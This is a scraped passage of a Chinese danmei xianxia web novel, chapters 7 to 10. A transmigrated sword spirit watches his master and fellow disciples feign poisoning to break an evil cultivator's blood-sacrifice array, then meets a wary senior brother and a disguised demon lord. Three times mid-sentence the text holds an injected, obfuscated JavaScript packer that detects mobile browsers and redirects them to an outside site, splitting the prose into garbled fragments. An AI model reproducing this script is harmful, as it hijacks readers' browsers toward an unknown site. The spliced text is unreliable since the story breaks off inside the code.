《本命剑也要修罗场吗[穿书]》 7. 第7章 “裴……唔唔?!”贺果知只来得及喊一个字,一股吸力将他吸入剑内。同时,嘴巴和被浆糊黏上似的,吐不出一个字来。 四周黑暗、冰冷、封闭,正是剑里面! 说不出话,但他还是能给霍闻星传音的。 “霍闻星!啊啊啊啊啊啊啊啊啊你好讨厌啊!” 霍闻星面色如常,完全看不出有剑灵一只在他耳边说讨厌,走到门边,打开门。 只是从床边走到门口,裴连卿却已不耐烦,再次敲门。 叩叩叩。 叩叩叩。 剑内的贺果知也听到了。 正常的裴连卿,怎么会等霍闻星走过去的耐心也没有,裴连卿耐心可是特别好的。 霍闻星打开门:“师弟,有事?” 裴连卿笑了:“借用城主府的厨房,给师兄的剑灵做了夜宵。他人呢?” 贺果知被霍闻星单手攥着,压在剑鞘之内,在袖袍之下,完全看不到裴连卿。 “他贪睡,今日已经睡下。” 沉默。 寂静中,裴连卿开口:“是吗?” 他玩笑道:“可是看起来贺果知,并没有如师兄所言,已经睡了。” 贺果知被压着无法出去,他在剑鞘里扭啊扭,用剑柄乱打贺果知剑宗弟子校服的宽大袖子。 贺果知:“谁睡了啊?” “我可没睡!” 霍闻星淡淡道:“顽劣而已。” “师弟把冰酥烙给我即可,我转交给他。” 他这样的语气。 差不多是在说,贺果知是他的本命剑,但不听话,他管教贺果知,不需要旁人置喙。 裴连卿将拿着碗的手往后避:“不麻烦师兄。” 霍闻星还是握住碗了。 两个少年先是角力,但控制力道,碗竟然没碎。裴连卿把碗收起来,霍闻星要关门,裴连卿阻止,几下交手,然后打起来。 此时他们都是金丹,实力不相上下,几招后,霍闻星不得不用握剑的那只手的手臂挡了一下。 贺果知抓住机会,出不剑,他把自己从剑鞘中拔出来,躲到裴连卿身后。 他看到少年仙尊抬眸,神色冰冷。 “回来。” 他还不让贺果知说话,贺果知只能给他传音哔哔:“不回去!你现在好吓人!” 裴连卿摸了下剑柄,笑道:“师兄你还不让他说话?” 裴连卿笑盈盈的,修长的指骨捻在剑柄上,仿佛那不是霍闻星的本命剑。 “躲远些。”裴连卿把剑往后一推。 再次和霍闻星交起手来。 贺果知躲到柱子后面。 此时他才看到,夜间的春深城,笼在淡淡的雾气之中。 一只有力的手握着剑柄。 贺果知缩在剑里,感受到剑柄被握住。 贺果知本来警惕,在看到谢振涛后松口气,只会剑刃划出来的剑气也散掉了。 不能说话,他只能用剑尖指了指正在打架的两个少年,意思是: 快去拉架啊! 谢振涛却如没看到一般,将剑一横,一手握着,另一只手双指一并,缓缓摸过,神色痴迷:“好剑。” 啊??? 贺果知看出来了,谢振涛也不正常! 他和霍闻星、裴连卿一样! 那边的霍闻星看到,几招摆脱裴连卿,追过来。谢振涛却握住剑,御剑消失在茫茫夜色之中。 三人先后离开,院落内安静下来。许远风单手掐一个隐匿气息的手诀,从阴影中走出。 “剑宗弟子,不过如此。” “虽天赋不错,但可惜,实在是太年轻了。” “入口之物,竟然也不仔细一些。瞧瞧,这不就中了蛇毒。” 他传信:计划照常进行。 许远风并不着急,走到院中的石桌旁坐下,取出一壶茶,自己给自己倒上,对月饮茶。 雾气渐浓,还算明亮的月色,掩在雾气之中。 看似只是寻常涌动的雾气,其实自有一种流动的规律。而此时的春深城,已然从成为一个大型的血祭阵法。他不是飞柳门的长老,而飞柳门的废物金丹,早已被他杀了。 可惜他还是杀慢了,让那个废物给剑宗传信。 许远风也不怕,既然来了,那就死在这,成为血祭的一部分吧。 正在喝茶,许远风却忽然吐出一口血来。 这时传音符亮起,一道慌张的声音传出来:“主、主人,那三个剑宗弟子不知怎么打到了这里,东北阵角已毁!” 许远风脸色难看:“什么?!” 是运气? 没关系,一个阵角,他还有备用炼制的尸体,补上便是。 他操控阵法,限制阵法内的灵力和尸气泄露。东南方一处,一个青白死人的手自个刨开土地,爬出来,径直往东南阵角的方向走。 许远风的袖袍无风自动,灵气疯狂向他汇聚。 这时,噗—— 许远风又吐出一口血来,整个人狼狈地摔在地上。至于东南角的尸体,在失去控制后,站在原地不动了。 传音符再次亮了亮:“主人,正东阵脚已毁!” 那声音很焦急:“阵法正常开启,春深城会被封闭起来,只进不出成为一个死地,无论百姓还是修士都会在中毒中癫狂死去。现在,现在怎么办啊!” 这下许远风知道,绝不是什么运气,那三个剑宗弟子故意的! 什么中蛇毒神志不清,也都是演出来的,目的就是让他放松警惕,趁机毁掉阵法!若他警惕,操控大阵反扑,他们绝没有这般容易! 许远风是这个阵法的核心,整个春深城的灵气、尸气,都在源源不断朝他汇聚。 他忽然抬头,看到御剑驰来的白衣剑修。 三个剑宗弟子中年纪最长,也是修为最深厚的——剑宗执法峰弟子。 谢振涛一句废话都没有,杀意滔天,提剑攻来。 许远风瞳孔压紧,慌忙抵挡:“你们不是在毁阵法吗?!” “是他们。”谢振涛冷声。 许远风:“尸奴明明说是三个剑宗弟子毁的阵法!” 谢振涛很冷地勾了下嘴角,并没有回答。 许远风瞬间想起来了。 该死! 那个剑灵一副不谙世事的样子,没想到一出现就是伪装吗?!真是心思深沉! 谢振涛看到许远风的表情,知道许远风猜错了,但他并没有解释。 谢振涛和许远风过了几招,没占上风,许远风擦掉脸上的血:“去死吧!” 话音落下,一道蜿蜒扭曲的阴影,昂起头颅,出现在谢振涛的身后——是已然被阵法操控的蛇妖。 上百年的蛇身躯庞大,在许远风的操控下嘶鸣着,俯冲向谢振涛! 另一边,贺果知被霍闻星带着御剑飞行,将春深城一周的阵角全部毁掉。 两人一剑灵回到城主府。 有霍闻星和裴连卿的加入,阵法又毁,许远风完全不是对手,三两下败下阵来。 蛇妖僵硬的瞳孔转动,锁定许远风,从许远风身上撕下一条肉来。许远风惨叫。许远风重伤,他炼制的尸体反噬,不止是蛇妖,还有被贺果知他们带回的人的尸体,纷纷抓住许远风。 阵法虽然毁掉,但并未完全摧毁,阵法还在向许远风输送灵气,是以许远风被争相啃食,却迟迟没有死去。 这样的画面,贺果知完全不敢看,鹌鹑似的躲在霍闻星之后。 “止。”他听到霍闻星说了一个字。 被炼制的尸体,齐齐发出古怪的叫声。而这种啃食,也停下来。 蛇妖不甘地嘶鸣——并非是还有神智,那是噬主的本能。 霍闻星挥出几道剑气,彻底毁掉阵法,也切断尸体和许远风之间的联系。 贺果知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289145|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是剑,他可以感受到霍闻星这几剑所蕴含的道蕴。 他问:“这样他们就自由了?” 霍闻星:“不是,这样可以入轮回。” 贺果知明白了,无论蛇妖和人都死了,被炼化后魂魄被禁锢在尸体中,切断联系,他们可以进入轮回,也就是一个新的开始。 那些尸体纷纷倒下去。 贺果知恍惚看到了一个画面,解释了为什么蛇妖要选姻缘簿。 化形的蛇妖穿着新买的竹青色裙子,走进媒婆的店内,仗着法术,给媒婆的姻缘簿做了手脚。蛇妖想给自己找个郎君,从适婚有意娶妻的春深城年轻男子中挑选。 但可惜,许远风杀了她,用她和他们的尸体构成阵法。 许远风趴在地上,浑身是血,抬起剩下的半个眼皮不甘:“怎么会怎么会……” 贺果知看着许远风,初见看着仙风道骨,此时只觉得面目可憎。 贺果知有一肚子想问的,但看小说的他深知一个道理,可不能和反派说废话。 他问霍闻星:“能说吗?” “可以。” 贺果知也不躲了,冲出来:“你让城主准备宴席,送茶水食物,是想让我们无意中毒。就算我们不吃东西,今晚等着我们的还有这雾气,里面都有蛇妖的毒。” “至于城中百姓的异常,也是因为食用有蛇毒的食物和水,才会中毒。刚才我们已经把解毒丹放入水中,百姓饮下水便可把毒清掉,不会有任何影响。” “我们得到掌门传信过来,知道是平定蛇祸,所以一早备上各种解毒的丹药。” 许远风害了这么多人,既然他想知道,那贺果知愿意当这个“好人”,让许远风知道是怎么回事。 亲耳听到如何失败,对许远风是一种打击:“你……你……” 可他说不出一句完整的话。 贺果知:“下午谢师兄去搜寻蛇妖,但实际上,他去了飞柳门,看到尸奴。而来到春深城,在城门处,老霍他们就察觉到灵力阻滞,似有阵法隐藏。” “你以为你隐藏的布置,都没有逃过他们的眼睛!” 要不是主角团呢。 “至于假装中毒,当然是让你放松警惕。” 贺果知也是知道的,知道他们会服用品阶低一点的解毒丹,这样既能受轻微的蛇毒影响,完美扮演,又可以保持理智,再服下高阶对症的解毒丹就行了。 只是贺果知知道他们要假装,但没想到霍闻星想让他去剑里面,裴连卿给他送吃的,谢振涛把他抓手里说“好剑”。 这属实超出贺果知的意料了。 他面对霍闻星的慌张可不是假的,而是在贺果知看来,各自肯定有各自中毒的反应,霍闻星演的又那么真,他还真以为自己要被关起来了,所以挣扎那么厉害。 看到裴连卿,才松了一口气。 许远风所用的阵法,是以蛇妖的尸体作为阵眼,其余人的尸体作为阵角,依托春深城形成一个大的血祭阵法,用城内所有人的性命,供他突破元婴境界。 这是邪修所用的阵法,且极为罕见。 在许远风的魂魄上,却有一个烙印,许远风无法说出阵法如何获得,霍闻星他们无法抹掉,只能带回剑宗给诸位长老想办法,去掉烙印,进而可以追查阵法来源,阻止这样邪修修炼的法门霍乱一方。而无论烙印能否被抹掉,最后许远风都会被废去修为,再被带回春深城,交给城主审判,剑宗见证,还被他害的人妖一个公道。 这些是贺果知问霍闻星得知的。 在贺果知穿的这本小说,妖有好妖,人也有坏人。开启灵智修化为人形的妖怪,被称为妖修。 那个化形的蛇妖,就是妖修。 乘仙舟回去的路上,贺果知又想起那天晚上的事。 他憋心里有段时间了,戳了一下霍闻星问:“你很想让我去剑里呆着吗?” 平时也没说,怎么中毒的反应是这个? 8. 第8章 霍闻星正在打坐调息,闻言抬眸看他。 眸光清清冷冷。 贺果知突然想明白什么:“你想让我回去,是不是嫌我在外面太吵了?” 霍闻星:。 霍闻星:“没有。” 贺果知叹口气,他怎么忘掉了,霍闻星修无情道,情绪淡漠不苟言笑,很不喜吵闹。虽然裴连卿话也不少,但裴连卿又不时刻在他身边,他就不一样了,话这么多,看什么都能叭叭两句,霍闻星嫌他在外面吵,但大概看他开心吧,一直没说出来。 不过没关系,懂事的本命剑剑灵,要不打扰主角。 “你放心,以后我会安静一些的!”贺果知说。 霍闻星叹气:“不必。” “对了。”贺果知想起一件事,“你还没看过剑招,现在要看吗?” 青年青丝如瀑,眉眼含笑,凑近了和他说话。 霍闻星顿了一下,移开视线:“若你是寻常剑灵,可以一看。但你已有灵智,为时尚早。” 啊? 贺果知听不懂。 但他一个不懂修炼的穿越人员,不用多说什么,听霍闻星安排就好,当然主角说什么就是什么! “好哦。”贺果知说,“你想看的时候来找我拿。” 霍闻星看了他一眼。 他们在仙舟上,扑棱棱飞过来一只乌鸦。 “有信来啦,有信来啦。”乌鸦嘶哑地叫着。 它落到仙舟上。 贺果知一看,认了出来,这是霍闻星他们大师兄程相烽的乌鸦。 裴连卿微微一笑:“大师兄来信了,想必是完成任务回来了。” 程相烽从清平峰接了任务,一去三个月,贺果知还没见过。 裴连卿招手,乌鸦落到他的手腕上,裴连卿从乌鸦脚上的信筒中把信取出来,信上是笔体苍劲的一句话: 速归! 霍闻星也没有继续阖眼调息,他睁开眼,看过来。 贺果知了然。 他懂的! 主角他们师门关系很好的,是特别亲密的师兄弟!霍闻星看着冰冷,谁也不关心,实际上对于他的师兄弟们,还是很在意的。 半日后,仙舟回到剑宗,他们先去清平峰交任务,与谢振涛分别,回到住处。 程相烽已经回来了,院内阴凉处多了一个躺椅,程相烽躺在上面,手背挡在眼前。 他们打开院门,程相烽似乎是醒了,手放下来,从躺椅上坐起来,懒洋洋打了一个哈欠:“不是让你们快点回来,这都半天了。” 裴连卿:“已经给仙舟贴了好几张加快速度的符纸了。” 程相烽的长相,英俊深刻,他挑眉看过来:“二师弟身边这位是?” “剑灵。”霍闻星道。 贺果知乖巧:“大师兄。” 程相烽啊了一声,上下打量,也不知是信了还是没信。 程相烽和谢振涛不同,谢振涛的打量、不信,全都写在明面上面。程相烽看着只是随意看了贺果知一眼,还十分友善,可贺果知小动物的直觉却在发出警报,告诉贺果知这个人危险。 贺果知很看得开。 这必定只是暂时的! 他算是霍闻星的本命剑,又不是反派,完全不会做伤害霍闻星的事。 主角团都是好人,他们一定会成为朋友的! 不对。 这个“都”字贺果知要划掉,主角团里,魔尊是不是好人存疑。魔尊和霍闻星对立,贺果知看到的小说情节中,两人见面必然打。 程相烽:“小师弟,知道你喜欢各地美食,给你带的放桌上了。那个五彩酥,你不是惦记很久了。” 裴连卿:“多谢大师兄。” 转身,裴连卿拉着贺果知往里走:“走走,去看看大师兄都带了什么好吃的回来。” 程相烽喊住他们:“等等,你拉着二师弟的剑灵干什么?” 裴连卿:“一时高兴,忘了。” “大师兄,贺果知他也喜欢这些美食,在这方面,我们可是知音。” 贺果知沾裴连卿的光,他也可以尝一尝,于是贺果知也道:“谢谢大师兄。” 程相烽没再说什么,摆手让他们走了。 竹屋内的桌上,摆了一个食盒,看着只有三层,打开后三层不止,上三层都是点心,下面三层是菜肴。都用法术保存,还呈现最佳的状态。 至于程相烽说的五彩酥,放在最上面。 贺果知拿了一个吃。 五彩酥的外皮有五种颜色,他第一口咬的是青色这里,一股提子的清甜浸润在他口腔里。五彩酥里面,则是淡淡甜味的奶馅,吃起来有点像是不那么甜的奶油冰激凌。 好吃。 贺果知吃着,不忘把自己挪窗子那,支开窗,偷偷看外面。 屋内离霍闻星和程相烽并不远,他在里面也隐约听到对话。程相烽给裴连卿带的吃的,也给霍闻星带了。 “师弟勤于修炼,这本剑谱送给师弟最合适了。” “多谢师兄。” 程相烽散散漫漫笑道:“师弟喜欢就好。” 看着二人对话,贺果知想起他看到的小说情节。师兄弟三人,霍闻星冷淡,裴连卿温和,而程相烽,性格则是跳脱很多,而且偏爱喝酒,时常大醉回来。他们的师尊每次看到程相烽如此,当然要责罚,霍、裴两人,免不得要遮掩。 看到小说主角团这样闲适的相处,贺果知顿时觉得岁月静好。 五彩酥本就好吃,他觉得更加好吃了! 忽然,和贺果知说了几句话的程相烽,不紧不慢瞥过来一眼。 凌厉的眼笑着睨过来。 啊…… 贺果知嘴里吃的酥,差点都要被程相烽吓掉了。 他匆忙把窗子关上,酥嚼嚼嚼吃掉了。 好吓人的眼神! 其实只是很探究的一眼,在程相烽的角度,他是突然出现在霍闻星身边,不合常理的本命剑剑灵,对他警惕是应该的。 贺果知思考了一会儿,拳掌相合,悟了。 除了警惕,还有警告啊! 程相烽,当然也是喜欢霍闻星的,他们的感情一句话概括是,我把你当师兄,你却想睡我。 程相烽对霍闻星的感情出现,远比霍闻星要早,霍闻星修无情道,感情十分淡漠。 这就是攻君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289146|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的占有欲,即使他只是一个剑灵,也不允许他多看。 这就是爱情! 又磕到了。 贺果知美滋滋的,吃自己扣出来的糖。 一旁的裴连卿,端了个小碟子过来,里面也是长得特别好看的一种点心,裴连卿:“尝尝这个,也很好吃。” 贺果知吃了一个,睁大眼,竖起拇指:“嗯嗯嗯!” 他嘴里有东西,没张嘴,用行动表达对这个点心的赞美。 裴连卿笑了一下:“刚才想什么呢,那么入神?” 贺果知刚把点心咽下去,想再拿一个,裴连卿把手避开了。 贺果知不解,眨巴下眼。 裴连卿:“留着点肚子,还有其他的,也很好吃的。” 贺果知:“有道理。” 裴连卿非常细心,哪怕裴连卿比贺果知小,在裴连卿身边,贺果知也感受到了被照顾的感觉。 他和裴连卿回到桌边,他想起裴连卿问他的话,回答裴连卿:“在想,你们师兄弟三人的感情真好。” 贺果知本来想说“他们会一直这么好”,但把这句话和吃到的点心一起咽下去了。 裴连卿、程相烽都喜欢霍闻星,虽然师兄弟的情谊还在,可是,为了霍闻星,差点师兄弟反目,都打起来了。作为读者,对这样的两攻君争一受的孔雀开屏行为,当然是喜闻乐见的。 巴不得他们为了霍闻星打起来打起来。 于是贺果知在心底说,打归打,但最终你们还是会和好的。 裴连卿只笑道:“是不错。” 翌日,霍闻星和裴连卿去问道峰上课,贺果知没去。 去问道峰他一点都不自由,那么多长老,他不是正常的剑灵,被发现了是一桩麻烦事。为了少惹麻烦,就要在剑里面呆着。可霍闻星的剑里面又冷又硬,他可呆不住,还是在竹舍这里好。 这里还有程相烽带回来,没吃完的点心,又有瓜子果脯。 贺果知给自己泡了一杯茶,靠着窗边的软榻,一边吃一边享受这样的宁静。 吃着吃着,叹口气。 他穿来的时候正在上大学,好在他有一个大哥,他大哥很靠谱,能力出众,一定会照顾好父母,他倒是完全不担心。 就是不知道,他是魂体的状态穿到这个世界,那他在自己原本世界的身体呢?不会成为植物人了吧。他希望父母和大哥不要太伤心,他在这边也挺好的。 也不知道还有没有机会回去。 但穿越这种事,他说了也不算。 贺果知很会排遣自己。 他的目光落到竹舍的院子里。 昨天看程相烽躺在躺椅上,看起来好惬意啊。他也想搞个躺椅,霍闻星他们去问道峰听讲,或者完成任务,他就躺躺椅上,别提多惬意了。 程相烽的躺椅,看起来就不错,竹子做的,宽大舒适,他可以去问问程相烽。 正想着,院子的小门打开,程相烽从外面进来。 隔着一个院子,他的目光,准确无误和贺果知对上。 程相烽勾起唇,懒洋洋笑了一下,没走向他的竹舍,而是径直朝霍闻星,也就是贺果知所在的这间走来。 9. 第9章 程相烽他过来干嘛? 贺果知瞬间觉得手里的点心瓜子不香了,喝了好几口茶压压惊。 “贺果知?”程相烽推门进来。 “大师兄。”贺果知把手里的瓜子壳倒下去。 在程相烽似笑非笑的注视中,本能又去抓了一把。不是他想吃,是太紧张了找点事情做。 程相烽走过来,坐到贺果知对面。 一手托着下颌,挑眉:“你没和师弟一起去听讲?” 贺果知摸不准程相烽想问什么,反正他觉得程相烽应该不是和他闲聊,因为之前看他那一眼,实在是犀利。 短暂思索,没思索出答案,贺果知:“没。” “为什么?”程相烽一副很好奇的样子。 “当然因为我明显是个不寻常的剑灵,去问道峰引起长老们注意,会给老霍带来麻烦。”贺果知说,“不然大师兄,也不会过来试探我,对吧。” 贺果知这么说完,又补充:“不过大师兄你放心,虽然以剑灵来算,我很特殊,但我没有恶意,我绝对是向着老霍,向着你们的。” “你用心看。” 贺果知一时也没办法消除程相烽的怀疑,既然如此,他索性把能解释的解释了,再剖白一下心迹。 这话他说的非常自信,他又没拿反派身份也没绑定什么系统,他可是少年仙尊的本命剑,他会一直、一直向着霍闻星的。 程相烽托着脸看他,也拿了块点心吃,只是笑了一下。 贺果知把矮几上的放着点心瓜子的碟子,往程相烽的方向推了推。 看吧。 说了是向着他们的! 程相烽吃了个点心,笑了一下:“这么甜,也不知道为什么你和裴连卿都喜欢吃。” 贺果知:“很甜吗?” 他吃起来刚好。 程相烽:“我刚才,其实只是随口一问,你无需解释这么多。” 贺果知一愣。 啊? 他想多了。 程相烽随便问问?结果他自爆似的解释了一大堆。要是反向思维,那他这个自证很可疑啊。 可是……可是这也不能怪他啊! 程相烽似笑非笑的样子,看得他心里毛毛的。 “你慢慢吃,我还有事。”程相烽忽然起身。 眼前的麻烦要走,贺果知的嘴角简直很难压下去。 “大师兄慢走……唔?” 程相烽起身,带着剑茧,修长有力的手指掐住贺果知的脸。那种散漫又和煦的笑意没有了,他居高临下俯视贺果知,嗓音低沉冰冷:“也不知道你这副样子,究竟是真的还是装出来的。” 你才装。 你可真是装死了! 刚才还笑嘻嘻的,现在玩变脸吓人! 可惜贺果知的脸被掐着,就算他想说,最多只能唔出几个字来。 “如果你伤害霍闻星、裴连卿,我不会放过你。”程相烽道。 说完,指骨松开贺果知的脸。 “……” 程相烽都走了,听到贺果知说了什么,转回身:“你说什么,我没听清。” 贺果知揉着脸,表情无辜:“要喝口茶再走吗?” 程相烽笑了一下:“不用。” 转身走了,竹舍里安静下来。 贺果知耷拉着眉眼,用手指揉背程相烽掐的酸疼的脸。 力气好大。 刚才他就嘀咕了一句。 变脸怪。 很小声的那种,结果程相烽一下转回身。 吓死他了! 贺果知给自己揉了一会儿脸,气也消了。 他没办法生气,程相烽作为大师兄,比霍闻星和裴连卿年长,看着不太正经,吊儿郎当,其实还是很靠谱的。这种叫什么,这就是“大师兄力”。 贺果知叹气。 这大师兄力要是也能罩着他就好了。 在“罩”外面的要被警告掐脸。 可恶! 一晃几天过去,贺果知天天在竹舍呆着也腻,他跟霍闻星去问道峰听讲。在问道峰,他就乖乖在剑里面呆着,可以通过剑的视角看到外面的世界。 原来长老们讲课,和现代也差不多。 有的长老讲起来,让人昏昏欲睡,有的长老讲课,就颇为有趣。 不巧,这节课的长老,讲的课就很让人想睡觉。 贺果知听了几耳朵,已经悄然合上眼。 霍闻星:“……” 霍闻星垂下眼,看了眼他放在书案一侧的剑。 他的耳边很安静。 霍闻星知道,他的剑睡着了。 起初他以为,剑很爱听这位长老讲的课,后来才发现,剑哪里是爱听,是特别不爱听,直接给听睡了。 霍闻星只是扫了眼,继续专心听讲。 通身银白的剑,安静躺在书案的一侧。午后的阳光,通过窗子落在银白的剑身上,更衬得剑身端庄漂亮。 ——睡在剑中的贺果知,却觉得一缕光照到眼皮上。 好亮。 他翻个身。 啊? 好像被抓住了。 剑身像是被什么给握住了。 没事,他可是主角的剑,绝对安全! 这么想着,贺果知完全没醒,又沉沉睡了过去。 白衣少年淡淡垂眸,修长的手指握住他的剑——睡的差点从桌案上翻下去的。 剑丝毫没有醒的意思,又睡了过去。 少年眉眼间划过一丝无奈,他轻轻把剑桌案上,手腕也搭在桌案边。 外面似乎有些喧闹,贺果知迷迷糊糊醒了。 下课了…… 他打个哈欠,瘫在桌案上,看到霍闻星将笔墨纸砚这些都收起来。起身时,将他握到手中。 作为一把剑,他体会到了被人提在手里的感觉。 “要是剑里面更软和一点,就舒服了。”贺果知说。 “实物的被褥,无法放入剑中。”霍闻星道。 贺果知那句话,是给霍闻星传信,霍闻星同样传音回答他。 贺果知:“那你用一把软剑?” “你想去软剑里面?”霍闻星问。 听到霍闻星这么问,贺果知的瞌睡虫都吓跑了。 他在说什么,他要更改主角用的剑吗?!而且他是剑灵,他不在本命剑里面呆着,他还去哪儿。 “不不不。”贺果知一叠声否认了。 贺果知:“反正我可以出来,也不用一直在剑里面。” 想起出来,贺果知眉眼弯弯:“出来有小师弟,谢师兄,你,床,各种好吃的……还有,”想起某个人,贺果知不情不愿补充道,“还有大师兄。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289147|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “挺舒服的。” 正说着,一道好听悦耳的声音响起,俏丽的身影随之出现。 “霍师兄。” 少女一袭白裙,杏眼圆润,笑起来很好看。 “下课了,师兄是不是要去洗剑池练剑,我们一起去吧?” 很可爱的妹子。 贺果知看了眼。 主角受可是万人迷,男女通杀,除了攻君们,爱慕者无数。贺果知看了看,看向霍闻星含羞带怯的眼神,杏眼里的期待,确认了,是爱慕者之一。 看到妹子右眼眼睑下的绯色小痣,贺果知一顿。 有点眼熟? 不对! 贺果知想起来了。 这哪儿是爱慕主角受的可爱妹子,这分明是别有所图潜入剑宗的魔尊! 剧情中,邪修们潜入剑宗别有所图,魔尊则是借着这些邪修进入剑宗。剑宗全力在宗门内搜捕邪修,魔尊则是去了另一个地方。 “好。”霍闻星答应了。 贺果知看过这段剧情。 魔尊一眼看到主角受就被惊艳。魔尊想要什么东西,抢走就是了,所以他在霍闻星身边,是伺机而动,待时机合适把人抢走。 而霍闻星,则是一早察觉魔尊的不对劲。 这个别有所图的“小师妹”接近,霍闻星顺势答应。 霍闻星修无情道,身在剑宗,未来又是仙尊。和任意妄为的魔尊,差不多是站在对立面。这是什么,这就是相杀相爱!死对头的感情,都是这么打出来的! 近距离围观死对头相杀相爱。 太好嗑了! 贺果知手里缺一把瓜子。 魔尊伪装的小师妹,名叫:清幽。 清幽的目光,落到霍闻星拿在手中的剑上,灵动的眼眸里尽是好奇:“这就是霍师兄的本命剑?” “嗯。” “师兄可否给我一观?” 被拎在手里的贺果知思索。 看他干嘛? 他懂了! 死对头啊,当然要相互了解了。魔尊表面上是要看霍闻星的剑,实际上是要看霍闻星的修为几何,剑道境界如何。 本命剑和寻常佩剑不一样,寻常的剑用剑炉淬炼,而本命剑则是修士的丹府。所以查看本命剑,完全可以看出修为剑道这样的东西。 不愧是死对头,恐怖如斯。 但是,好嗑。 嘿嘿。 在课堂上,虽然霍闻星把贺果知摆在外面,有暗中窥伺的视线,但贺果知很自信,他们什么都看不出来。因为霍闻星给他外面加了什么法术,贺果知明显感受到,那些窥视的视线都被挡回去了。 “嗯。”霍闻星应了一声。 贺果知正准备,从霍闻星的手里,挪到魔尊的手里。 老实说他还有点紧张。 这可是魔尊。 然而没等他做好心里准备,一股力道把他一抛,然后他凭着本能,竖立到半空。 从外面看,这把银白的本命剑,竖着悬停在半空。 贺果知茫然。 而一旁的清幽,刚好把手摊开,正准备从霍闻星那里接过来。 清幽:“……这么看?” 闻言,霍闻星睨过去一眼。 眸光似乎有些冷。 “不可吗?”他淡淡问道。 10. 第10章 贺果知竖在半空中想。 不愧是主角,这样做很严谨。 对霍闻星来说,眼前是来历不明的魔修,既然敢潜入剑宗,必然有点手段,怎么能让魔修碰本命剑。看未必能看出来,但碰到后呢。 魔修和邪修不同,邪修所用修炼之法伤天害理。魔修则是正道入魔,经脉逆行的修士。其中惊才绝艳者,修改原本的心法,这样修炼进境极快,但气血逆行会让他们暴躁易怒、冲动行事。 修炼这种功法的代价,便是魔修们大多在元婴期陨落,并非没有度过天劫,而是功法酷烈,让他们失去理智成为只知杀人的疯子,或者爆体而亡。 魔修也有好人,和妖修一样,但潜入剑宗的魔修,必有所图。 霍闻星本就冷淡,还有洁癖,不让别人碰他的剑,合情合理。 那魔尊呢,又要如何应对。 贺果知悬着,把好奇的目光投向清幽。 清幽先是一愣,然后把手收回来,手指搅着挂在腰上的铃铛:“怎么会。” 她扬唇笑了一下:“这样看就很好。” 贺果知看着,顿觉厉害。 简直把一个爱慕少年剑修,努力隐藏,但却不知道自己没隐藏好的少女心思展现的淋漓尽致。他要是没通过那颗痣认出来,一定认为这是可爱的小师妹。 清幽就这样看了看。 贺果知的剑身上有霍闻星留下的法术,在法术遮挡下,本命剑看起来也只是一把寻常佩剑,剑主人的修为、剑道是绝对看不出来的。 看完,清幽和霍闻星继续往洗剑池的方向走,夸赞:“师兄的剑,真是一把好剑。” “这是我的,比起师兄的,逊色不少。”清幽说。 贺果知被霍闻星拿着,忍不住抻着剑柄去看,清幽手中的剑是什么样的。 他看到了。 很漂亮,一看就是可爱的小师妹喜欢的那种,还带了剑坠。 一根修长的手指,按到贺果知的剑柄上,把他不小心挣出来的一点点,给按了回去。 贺果知:。 反正看到了。 嘿。 霍闻星的动作,却只像是顺手理了一下袖摆,根本没有按贺果知。 霍闻星目光在清幽的剑上一扫:“不错。” 清幽很高兴:“师兄真的觉得好吗!” 少女的声音欢快,脚步也欢快:“那师兄,一会儿不如我们切磋一下。” 贺果知正揉腰,剑里面太硬了,站着坐着怎么都难受,闻言一下被吸引注意力。 什么,要切磋! 死对头打架,那可真是太好看了。 明明只是剑锋的交错,却暗含了试探,你来我往,暗潮汹涌。对自己自信的同时,又承认对方的强大。 这种情节,他可是太喜欢了。 可是一想起在他在剑里面,贺果知顿时蔫下来。霍闻星一个人练剑,他还能跑出来,现在魔尊盯着,他完全不敢动。上次在春深城霍闻星拿他打,那感觉,贺果知简直要吐了。 从未感觉自己可以那么灵活。 他都不知道霍闻星是怎么用他的。 但贺果知知道,霍闻星是一定会答应下来。 交手这么好试探对方深浅的机会,霍闻星怎么会放过。 他没等到霍闻星答应,而是听到霍闻星给他传音:“一会儿可以打吗?” 啊? 贺果知没反应过来。 打不打霍闻星问他干嘛? 很快贺果知想通了,他是霍闻星的本命剑,是有灵智的剑灵,霍闻星把他放在同等的位置上,询问他。 选择权交到他手,他可以说不,但贺果知—— “打,怎么不打!”贺果知说的豪情万丈,说完又小声,“你少让我转几圈,头晕。” “好。”霍闻星道。 作为主角的本命剑,他多懂事。霍闻星想试试这个小师妹的深浅他能不知道,当然是让霍闻星试啊。 剑宗的洗剑池,其实是一片沙海。名为洗剑,实则为一处练剑之地。 